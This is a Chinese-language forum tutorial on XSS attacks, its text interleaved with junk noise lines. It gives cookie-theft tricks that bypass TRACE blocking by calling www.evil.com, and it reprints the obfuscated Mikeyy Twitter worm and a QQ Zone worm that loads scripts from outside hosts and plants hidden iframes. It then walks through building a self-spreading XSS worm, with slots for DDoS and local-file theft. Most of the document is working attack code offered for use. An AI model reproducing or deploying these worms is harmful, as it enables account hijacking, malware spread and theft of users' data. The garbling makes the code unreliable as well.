RewriteCond %{REQUEST_METHOD} ^TRACE
8 V2 J, t! Q. a7 A' @
RewriteRule .* - [F]
; ^  N. ]. n# [8 N  d
( m+ \' K$ Z7 F6 C: q: J; @
) E) i& B9 h/ y- R- o0 o
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
1 g% `% z! u, @& R6 j' i6 T% x
acl TRACE method TRACE

; b& S0 p9 [% ?0 P7 T; j...

, j: Z3 w6 Y: D; H5 L+ ghttp_access deny TRACE
5 I' K4 ^$ U) W: p. Q' Q6 v2 o复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
1 `3 J9 y! y6 |4 U$ F& `5 P
/ G( Z+ b: [* a( P- G( Wvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
. y% K+ w% Z9 `  S# J! M5 \4 \- b2 v
7 I5 O) S2 D' @2 _7 J4 FXmlHttp.open("GET","http://www.google.com",false);
' R5 y% Y! q7 y% x
+ D; P" W  }+ i9 Z* hXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
- T) u/ o, b) D  W# _5 m; a3 y# i* W
( G# q0 u% d. r9 ?4 M- fXmlHttp.send(null);

% H8 {; n! _" U4 l</script>
. \8 H3 j5 D! S7 r2 S8 ~6 {复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
6 b% G+ J* m, r# N8 p2 a8 c! e' K
/ }3 p/ S6 Y$ X6 J# u5 k# s) g/ V9 r
' A6 f0 ]9 Y0 i) N: z
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
: m  g8 v8 c8 D
XmlHttp.send(null);

<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
4 A) l: g' H, P& F' w: C( \复制代码案例:Twitter 蠕蟲五度發威
, S  `2 h3 K1 R0 i' \" X第一版:
  下载 (5.1 KB)
8 E' Q% |( v3 n; U. B
+ o5 y* R9 C$ T. p7 s6 天前 08:27

3 p8 c; {% @& B5 Q- I/ E8 [( _第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
  T! O& n  Z! E) I" M
+ z" ]1 B2 |4 W8 y   2.   
& X5 L, k7 ^2 Z* A8 J  k; t6 H
& k. @: |  B2 w% `9 `9 B' q   3. function XHConn(){  

& V  Y0 r8 c4 a   4.   var _0x6687x2,_0x6687x3=false;  
! U  Y4 R' X8 v# j- O5 m- }$ ~/ n
% m! A% P4 Z( w0 a+ b$ a- Y   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
8 p* u( O; F8 S
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

' Z0 B# g( {2 m4 J& F4 B- ~! U   8.   catch(e) { _0x6687x2=false; }; }; };  
6 y1 c' t2 ]% h! P' h$ p1 x% b复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  
( ^* z& R. P7 l0 H+ E5 h
! h; i! b& ?, y/ G   3.   var tmp_cookie=document.cookie;  
' B0 S8 N2 O$ B2 M! y! _) C4 g5 G
   4.   var tmp_posted=tmp_cookie.match(/posted/);  
4 w9 c1 M0 ^# h7 a: `; v
( E" A( d" D3 l) ~# \2 n   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  
5 @- h  m; z; m8 w
# h, ?* g/ N0 ]   7.   var authtoken=authtoken[1];  

6 H% _; r4 T3 K+ V9 c% _   8.   var randomUpdate= new Array();  

$ U( l) R; f7 T; p! Q. H  E; N   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
' J' z) x1 d; U, J5 V  C5 }6 E
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
% Y: m' _8 o! L7 y
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
5 d/ K7 I+ U! S( c
/ o7 b6 c: c9 z9 G( L3 X  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
2 H% f" N& b) ]+ \
, j4 i4 L8 g. Y  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

5 a4 ^% {2 z1 }! p, M; a% O  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

! t4 @3 |/ e8 s, t! k7 h1 U$ D0 l  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

5 f' n2 }  X0 X! t- C) w! ^  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

1 P6 H4 \5 L0 z( q, e  p  F  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
" l4 s7 q9 z8 a7 B3 [5 N5 f9 C
  E/ K7 _! \6 n) @  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  r. Y* c: b( \  R: i+ Z  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
" Z7 U* R* }: ?9 c1 d! ^# l$ B: `
' L( E" V/ B8 M' k$ j9 x+ U  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
* g& G& M* I8 Y; w8 r5 g6 X. ]
6 I7 J0 R" i6 m. {+ N% A6 m  24.     
7 Y) k0 g  L3 q- A
( k+ ~% Z, ^- K1 P7 H2 T( D. N7 W  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     

/ n/ \! s( F1 C6 T  28.   var ajaxConn= new XHConn();  

! [3 B; J; k* {3 H9 L  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
/ a: W# c0 z* ]) r& c& o9 T3 Z6 w
  30.   var _0xf81bx1c="Mikeyy";  
: ], z/ U) m- B! j# y  j: W
8 h7 U4 D. B; j# x+ U2 z+ |  31.   var updateEncode=urlencode(_0xf81bx1c);  

# ~0 R1 z3 \: y! q! P/ o  {  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  

: C. C6 V/ y5 Y( v  36.   var ajaxConn2= new XHConn();  
, h+ j$ C& p/ m6 N( P
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     
, e% |" v/ J/ H7 o4 M
4 B7 D" H8 g8 g* ^  x. l  39. } ;  

9 D* X. i& b; q* @0 E  40. setTimeout(wait(),5250);  
! @! f  V1 O" k复制代码QQ空间XSSfunction killErrors() {return true;}
/ v# `. n! m% ]0 Q7 U
window.onerror=killErrors;

4 R% c: I- p- A' A
4 {$ x( }4 I- m; ^" }  `) a& c
# b; _5 q' y7 U& j0 D5 |1 Hvar shendu;shendu=4;

//---------------global---v------------------------------------------
- H' n  _% Y, m% C. ^' ^
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
: e% y2 Z; i& d1 ^8 \6 V
var myblogurl=new Array();var myblogid=new Array();
  c/ e4 Z: N4 Y/ l
        var gurl=document.location.href;

) f# Z( X3 m# i; O' k0 V" o3 A        var gurle=gurl.indexOf("com/");

$ v$ i9 _6 V* x9 T        gurl=gurl.substring(0,gurle+3);        

" x+ l9 y* d' h/ a9 ]        var visitorID=top.document.documentElement.outerHTML;
1 Y: j& ^2 {- f/ g
           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);
# d- U  U4 L) ~2 M5 D, L
        cookieS=visitorID.indexOf(",");

  o; F5 |) y7 F7 U: }        visitorID=visitorID.substring(0,cookieS);
; g' a; h9 Q* Q" K
! h- }6 p5 R% e- p        get_my_blog(visitorID);

' n5 K7 T/ \9 W        DOshuamy();
, x- i  K( ~6 r' T% z


! N& B+ z9 _  A1 c; Q  N2 Z  v//挂马

- {9 |8 [5 O6 F/ Lfunction DOshuamy(){

% e  s( k7 H+ x% [2 Cvar ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}

4 U5 Z# |; G0 A* R6 A' N) M2 f* Z1 y

//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
* u  P- j5 y% z. g, x
( n$ u; C. P" B( ^function get_my_blog(visitorID){

3 T3 M% Y; ~7 [. |   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
  R7 w% G  V6 S1 Q6 G  g
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

. |: i" B/ `9 o   if(xhr){    //成功就执行下面的
. p0 d% e" _" i5 v
; S. _) F, [8 i0 J# r8 T     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
5 w- B  A9 W/ G* L
     xhr.send();guest=xhr.responseText;
4 W" T+ m7 ^6 b
     get_my_blogurl(guest);    //执行这个函数

2 W4 L3 l$ X" }: H" @9 p    }
& J' n' y7 @5 l2 L# @' T3 l
}
7 u: ^4 r! f. s* }' ~
& K8 [$ H* U  U0 @6 o% {- W
0 ~1 e9 B1 F7 r8 _# Q) a
; d. x. V$ m0 t# n% c8 G//这里似乎是判断没有登录的
2 h* ]$ P( o* h$ y- _) m) H2 g
* X# Z) m: V6 n7 s" Ufunction get_my_blogurl(guest){
" n0 ^9 q/ {! X8 c/ l; l
  var mybloglist=guest;

  var myurls;var blogids;var blogide;
# |* p1 n. j5 q. Z. W
  for(i=0;i<shendu;i++){
( I. |4 d+ F8 P+ q" h$ G
* B6 A6 h: D( F( c" u! |8 r     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

% q' e  h* b1 S4 p- D. M     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);
- {. D9 |3 ^* I9 t; t
         myurls=mybloglist.indexOf(')');
) L+ V) O$ T3 x4 O- f
         myblogid=mybloglist.substring(0,myurls);

- K9 Z6 A! w: S! Q; _9 h        }else{break;}

- X  G1 z" F& E  @  @}
& f) p7 t, V9 [$ T
get_my_testself();    //执行这个函数

}

" l9 [% Z+ K( d0 s; Z$ _# F( s

8 J( }& R2 m- @& P5 x4 g8 O  P( y//这里往哪跳就不知道了

; P; e% \8 j" ]/ c6 u; V0 lfunction get_my_testself(){
( d; b* T6 z6 ^
& k# {% Y: {: d, }6 Z  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
* [2 e: A! y% _$ U$ Q6 h8 g
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
. j0 h2 p) }. {6 n$ {
      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url

* ]2 U" X/ X) ^0 F              xhr2.send();

              guest2=xhr2.responseText;

8 e+ k' t% c( d3 X, S9 n8 S3 }              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
" D. f" \( Z% V5 s, x
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

! ~- O( h1 `# L              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   

0 i/ ~( y1 C- N+ G& i" n                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
- O3 n6 a$ v2 C3 z, }: n1 c) B
' T8 B( s8 W$ D  x9 K: K                break;
( h6 @* ?3 D+ h/ d3 m$ S4 O
1 R) G6 \, T1 F# m2 L               }

9 B; N; @- E$ K+ H              if(mycheckit=="-1"){

                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它
; J* `, E' \% R- R+ L0 n1 f
                break;
$ v2 M9 _! F' x1 R$ g2 P
               }

        }      
+ a# c* x6 Q- v/ I3 C' O" p
}

( g- u$ |1 i! d* Z: O" D9 l}
' l9 j* R+ {/ u0 X% f. z4 ]
- |! b! |) B" ^

; U( }! g9 A( [' A: R2 v5 G$ R//--------------------------------------  

3 t0 T3 O, }/ Z" p5 J" x* r1 y0 q//根据浏览器创建一个XMLHttpRequest对象
, p+ O) m/ A1 b9 |" f
6 A1 J; e, J/ c2 Q! A# ?function createXMLHttpRequest(){
) D% g6 K8 B0 y( S  Y; V
# @0 g1 x. s2 F  _9 }3 j    var XMLhttpObject=null;  
4 Z+ [6 Y6 c5 W% W# X/ O. i! Z
4 Y/ F6 z. Q" l; E    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  

; B) e6 C: Q7 }      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
# R- l- N' A7 g
' {$ s" C8 ~5 G        for(var i=0;i<MSXML.length;i++)  
3 r. i! b, L& H# ^, K
        {  

2 b/ \: Q' C; B1 h            try  
" ^/ e% D& t- K/ j9 T
            {  

                XMLhttpObject=new ActiveXObject(MSXML);  
0 Q- [7 J1 b% |3 f1 a$ f
                break;  
, }, B4 s) x+ I
            }  

; |0 b9 J4 {# ^            catch (ex) {  

) |6 j  u& i$ M) m2 ]  S            }  

7 x* X# D' q8 l6 p. K4 E         }  
# H- m5 {0 K. k! G; D3 c$ @0 P+ S
      }
7 |1 N' l* V# G; [4 b) I
return XMLhttpObject;

9 k7 R. C) b. @; ~}  

% ^# C  l* T, Y( b  p5 L/ H

3 o6 g7 ]+ x$ N1 s/ n# u//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){
/ P& S; U: K+ T& a
. z. a+ y- @8 O- f  `var s2=document.createElement('script');
5 E* m- C3 C+ }* b: t! w
& I+ a( j6 S: S0 f- v# f0 Rs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
. ^8 F! [$ v4 l+ B6 t
s2.type='text/javascript';

) r: p5 c+ R$ {+ b1 E9 D: {: Wdocument.getElementsByTagName('head').item(0).appendChild(s2);

& X0 K1 M: n* ~0 c}

2 V1 X% ]) k% z6 h+ _

function add_jsdel(visitorID,targetblogurlid,gurl){
  S6 R, _- j9 K/ A/ @5 ]% H, W
var s2=document.createElement('script');

  F/ f0 b* R' Hs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
0 A' I8 x$ x9 a" C
6 q8 o# H7 i2 v: ~+ K. }2 M* w/ Y7 ns2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
7 Y( L) W, I% ]1 ~$ ^
}
# v1 t% l( k) w4 ^复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
) Q' x4 r! a+ @$ ^  \
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

/ E" t- c1 S5 a0 \' {) R6 B* q综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

5 t/ \7 Y- g+ i0 ^
+ P6 |) M3 M% @# v% Z- ^下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
% t" N1 X: `: k. v
首先,自然是判断不同浏览器,创建不同的对象var request = false;
7 X- \7 l/ x. g( @, K
if(window.XMLHttpRequest) {
. i/ k$ [. ~% Y! n( c- y  [
request = new XMLHttpRequest();

, f' d* s: l& E/ r& Lif(request.overrideMimeType) {
4 \4 }+ y, I5 g  e+ |
, p) }3 q- m$ x0 j5 `, t. Nrequest.overrideMimeType('text/xml');
9 M& T3 c' p5 X  _
0 T8 V) o3 V1 d, c  |}
% R5 n8 `4 Y# Y$ b( k
} else if(window.ActiveXObject) {

  v* C. ]8 _- e/ r: Q' N5 Zvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

1 N& _6 f- L1 vfor(var i=0; i<versions.length; i++) {
- _; c' [9 K" F0 w
try {
5 b9 e% ~9 ^, D6 N: `3 m4 Y8 C
6 K$ m. w1 l* \% E4 s% Drequest = new ActiveXObject(versions);

0 N( G% E3 n- v$ l6 i( \% s7 c} catch(e) {}
. u% a' w) n( Y/ c( e
}

% [6 q" z4 b; m1 h4 ~* P% Z}

% d9 |& n5 ~" g. c0 [xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

1 z( m( m1 b; T4 b. g        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);

: l5 h- V4 `6 q! @, D        var Browser_Agent=navigator.userAgent;

# Y! i) ]3 U' K+ ^; [% [5 n, Z$ E        

! s+ b* m& q/ K        var Actual_Version,Actual_Name;

        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
' `2 _% z+ u( r0 ^& S# m# p  A' [: T
; k- \9 f8 {4 P( E+ L# F        var is_NN=(Browser_Name=="Netscape");
2 S- g- z. u, ]* p2 A7 c
6 R, \7 G9 b% n/ D        var is_Ch=(Browser_Name=="Chrome");

( r( Y9 T, z$ K6 C, Y& W0 V        
. M- b& D7 w6 J
# X9 Q+ U7 e+ V6 [0 |$ P. R) K        if(is_NN){

            if(Browser_Version>=5.0){
" t' r% V: p! T* p/ v/ |
                var Split_Sign=Browser_Agent.lastIndexOf("/");
  c1 u2 N' _; \8 m) v3 J
  u/ }1 _, F2 A4 n/ c                var Version=Browser_Agent.indexOf(" ",Split_Sign);
* z, R2 m. x) m  e! R
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
0 y; A1 h4 |4 [! B0 ^
& l( _" ]/ U/ Q9 n

! J- R+ ]  g' N% q  ^% H                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
( S* r( h8 s' o
- M3 C" Q! K* B$ d                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

" [9 \4 N- j; J% o            }
7 V3 z. P- R% k4 [* F' h/ g1 h! b
            else{
1 n0 o( a2 {, y  ~2 _7 a. Q
                Actual_Version=Browser_Version;
- E5 K& Q- _' H+ j  Y9 e
8 n6 W( j/ i% Q% ^4 |                Actual_Name=Browser_Name;

  H6 ?# v/ g# {2 A8 j+ G            }
; _& U: {9 [! i! O5 O6 z& K
% F7 x# x1 H& }+ P* C8 C: N        }

( y9 b) S5 Y( \  `. \# U7 u& d        else if(is_IE){
3 a  i' r8 z! _) _* w2 w' I
# c$ L- {/ J9 G8 M( S            var Version_Start=Browser_Agent.indexOf("MSIE");
% ]* m/ Y4 P  r3 @8 o3 y
8 d  [2 g! T# |# |) H1 k. \            var Version_End=Browser_Agent.indexOf(";",Version_Start);
% L6 Y- A! b: D
1 d! U- x1 m; S: Y7 ]1 E            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
; r  r% X8 t( e: s
            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
- p$ i7 S' I8 e0 z( F
$ q/ |; Y" L9 b                Actual_Name+="(Maxthon)";
/ v$ a% O. S; e5 S% F9 R
7 x" N. W% E$ p# _  q$ u            }
7 O$ a# \  w: {1 l3 \) k- E, u( U
            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
2 b; c! R) p3 n8 d! R$ }% s# m
" y0 W* x% v0 j( O1 U        }

; U8 t9 |0 `8 E% p+ T        else if(is_Ch){

! b' K. D+ `8 `# o1 i7 H            var Version_Start=Browser_Agent.indexOf("Chrome");
: }" k# H9 _/ X( q9 n
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

" J( w2 F: t# r' Y3 _! N4 j            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
/ l/ P) b) v/ P
$ x- u( G; D" e. [% A6 p            Actual_Name=Browser_Name;

            
+ ]) _4 c6 S' d% ~1 G3 y- @
) u2 I! a7 B& o! [0 w  n            if(Browser_Agent.indexOf("Maxthon")!=-1){
9 U  |! o! ^+ m4 ^1 D
# p% L6 g5 W3 i# y7 D                Actual_Name+="(Maxthon)";
0 k1 o6 D; O  X0 y/ {, i1 ]
            }

; M3 _. M  V6 C$ ?& e% h! B            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
7 O% R$ R' S- g2 d/ L
3 E7 p& l9 R: }1 B  J                var tempstart=Browser_Agent.indexOf("Opera");

2 j1 M9 H6 `  K$ H) J. p( u                var tempend=Browser_Agent.length;
' d2 f' q5 I0 O1 ]; O, V
4 Y  E3 i& N% V                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
0 r2 R2 M6 ~1 V' t6 ]3 w8 w
        }

( M/ \* y$ U6 R  H. o9 v        else{
; f' x6 u, D- r1 I
            Actual_Name="Unknown Navigator"
. U' C4 _7 T1 o, y
6 h5 P5 M# ?: Q) q9 H- }            Actual_Version="Unknown Version"

, {. W' d0 M8 c) W1 l4 ~        }

! r+ x: ~% M% n5 @1 _. Q0 P5 W/ [

        navigator.Actual_Name=Actual_Name;
* r* Z* j8 Y9 @# a% M$ {
' x* b2 W8 E; n0 _0 ^        navigator.Actual_Version=Actual_Version;
$ n! D! D$ `1 ~7 M% l
" S# Q% {: c' w' E4 ~        
/ q0 J$ j# _! V4 O* D- i
4 S6 K* M: G* k9 m- V; s: K        this.Name=Actual_Name;

2 d. }6 `0 U4 j! g9 O  }* ^2 i        this.Version=Actual_Version;
9 P( M8 I9 B# F) V$ T9 W
    }
9 ^# @) J2 Z& ~3 G' N
    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
; g/ [5 e% Y6 {3 C% b) i
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
5 F0 j0 [" G0 o: Z+ T5 b
& @3 B2 w: j: \% E% M0 T    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
) Y0 `* T& F& N( T+ x' E复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
9 T) L) `( L! N, h7 d$ \% i
# _- q7 Q$ ?0 `, y+ cxmlHttpReq.send(null);
# ]8 K+ s. N2 d' a
3 J, V+ Z# O/ n5 m' m/ o& S8 ?var resource = xmlHttpReq.responseText;

  P7 X4 ~. C' x; Dvar id=0;var result;
/ L+ s7 u. p& l+ [/ }( [0 v
6 I, {# T8 F6 A! X( ]" {6 Uvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
: s2 t; _2 [1 y* A% Z' Y! J
while ((result = patt.exec(resource)) != null)  {
" T7 ?: `$ \1 d; ]
# K5 J' G) d6 }, k5 ?9 [  }id++;

3 U9 O, w1 w& ~. H}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);

7 o( J' x9 `/ h5 w" O/ gvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

. G" x' i; o4 ?" Evar post="wd="+wd;
( G& o; ]: X% z
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

8 ^* Q( b/ Y, G+ ]  K! IxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
/ x+ F0 U( d/ r% w
# L0 {( N, O$ H- mxmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
, D5 u# O' D- l
7 `% G3 Z. `; y+ U8 `xmlHttpReq.send(post);

}
0 W) t) }+ M3 m4 X8 }' J7 D复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

! K" M/ b: J; n% o* r5 Z' m( j6 Ivar post="wd="+wd;
+ l* p# f+ ?/ P* T  ^8 T
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

& h$ b  y; D5 |xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

9 L( A6 T1 Z: z& _# GxmlHttpReq.setRequestHeader("content-length",post.length);
  E+ l2 m, `# x# j8 j. Z+ t3 c
. `' s, V% G6 H9 Z6 f; DxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

